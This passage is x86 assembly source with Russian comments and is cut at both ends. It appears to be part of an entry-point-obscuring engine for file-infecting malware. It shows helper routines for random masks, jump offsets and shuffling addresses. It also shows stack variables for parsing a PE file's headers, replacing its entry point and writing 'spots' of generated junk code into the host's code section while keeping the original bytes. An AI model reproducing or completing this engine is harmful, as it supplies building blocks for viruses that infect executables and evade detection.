call [ebx].rgen_addr
and ecx,eax
xchg eax,ecx
pop ecx
ret 4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_mask
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция get_jmpaddr
;получение операнда для jmp'a, который будет прыгать на следующее пятно
;ВЫХОД:
;ЕАХ - искомое значение
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
get_jmpaddr:
push max_jmp
call [ebx].rgen_addr
cmp eax,min_jmp
jb get_jmpaddr
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции get_jmpaddr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция mix_addr
;перемешивание случайным образом данных в массиве
;заметки: в данном движке используется для перемешивания случаным образом адресов пятен
;ВХОД ( mix_adr(DWORD *addr_mas, DWORD num_elem) ):
;addr_mas - адрес буфера(массива), где находятся значения, которые следует перемешать
;num_elem - кол-во этих самых элементов
;ВЫХОД:
;перемешанные адреса в буфере(массиве)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
mix_addr:
pushad ;
mov ecx,dword ptr [esp+28h] ;ECX - кол-во элементов
mov esi,dword ptr [esp+24h] ;ESI - адрес буфера, где находятся эти элементы
xor edx,edx
_nxtmix_:
push ecx
call [ebx].rgen_addr ;получаем СЧ [0..ECX-1]
push dword ptr [esi+edx*4] ;и перемешиваем
push dword ptr [esi+eax*4]
pop dword ptr [esi+edx*4]
pop dword ptr [esi+eax*4]
inc edx
cmp edx,ecx
jne _nxtmix_ ;если перемешали все элементы, то на выход
popad
ret 4*2
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции mix_addr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;========================================================================================================
;вспомогательные переменные (находятся в стэке)
;========================================================================================================
imNTh equ dword ptr [ebp-04] ;указатель на IMAGE_NT_HEADERS
old_ep equ dword ptr [ebp-08] ;старая точка входа
base equ dword ptr [ebp-12] ;ImageBase
new_ep equ dword ptr [ebp-16] ;новая точка входа (в конец последней секции)
start_addr equ dword ptr [ebp-20] ;физический адрес точки входа (+ база мэппинга)
codesec equ dword ptr [ebp-24] ;указатель на кодовую секцию в табличке секций
size_codesec equ dword ptr [ebp-28] ;размер в кодовой секции, который реально можно использовать для записи пятен
max_codesec_addr equ dword ptr [ebp-32] ;максимальный допустимый адрес в кодовой секции, до которого можно записывать пятна
cur_codesec_addr equ dword ptr [ebp-36] ;текущий адрес в кодовой секции (используется для получения очередного адреса нового пятнышка)
num_spots equ dword ptr [ebp-40] ;кол-во реально записанных пятен в кодовую секцию
beg_rest_bytes equ dword ptr [ebp-44] ;адрес буфера, где хранится кол-во записанных пятен, размеры их, адреса, а также оригинальные байты кодовой секции
cur_rest_bytes equ dword ptr [ebp-48] ;текущий адрес в буфере (вспомогтальная переменная), куда сохраняем оригинальные байты кодовой секции etc
spot1 equ dword ptr [ebp-52] ;размер 1-ой порции мусора (этих первых порций мусора столько, сколько пятен будем записывать) (также вспомогательная переменная)
spot2 equ dword ptr [ebp-56] ;размер 2-ой порции мусора etc
tgen_struct equ dword ptr [ebp-60] ;адрес структуры TRASHGEN (для трэшгена xTG - или другого тэшгена)
xtmask1 equ dword ptr [ebp-64] ;новая маска1
xtmask2 equ dword ptr [ebp-68] ;новая маска2
restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);буфер, представляющий собой следующую структуру:
;num_spots db 1 ;кол-во записанных пятен в кодовой секции
;size_spot1 dd 1 ;размер очередного пятна
;addr_spot1 dd 1 ;адрес очередного пятнышка
;save_bytes1 db size_spot1 ;сохраненные оригинальные байты (вместо которых мы и записали очередное пятно)
;size_spot2 dd 1 ;etc
;addr_spot2 dd 1
;save_bytes2 db size_spot2
;...
;size_spot(num_spots) dd 1
;addr_spot(num_spots) dd 1
;save_bytes(num_spots) db size_spot(num_spots)
UEP_RESTBYTES_SIZE equ $ - restore_bytes ;размер буфера, что выше
;========================================================================================================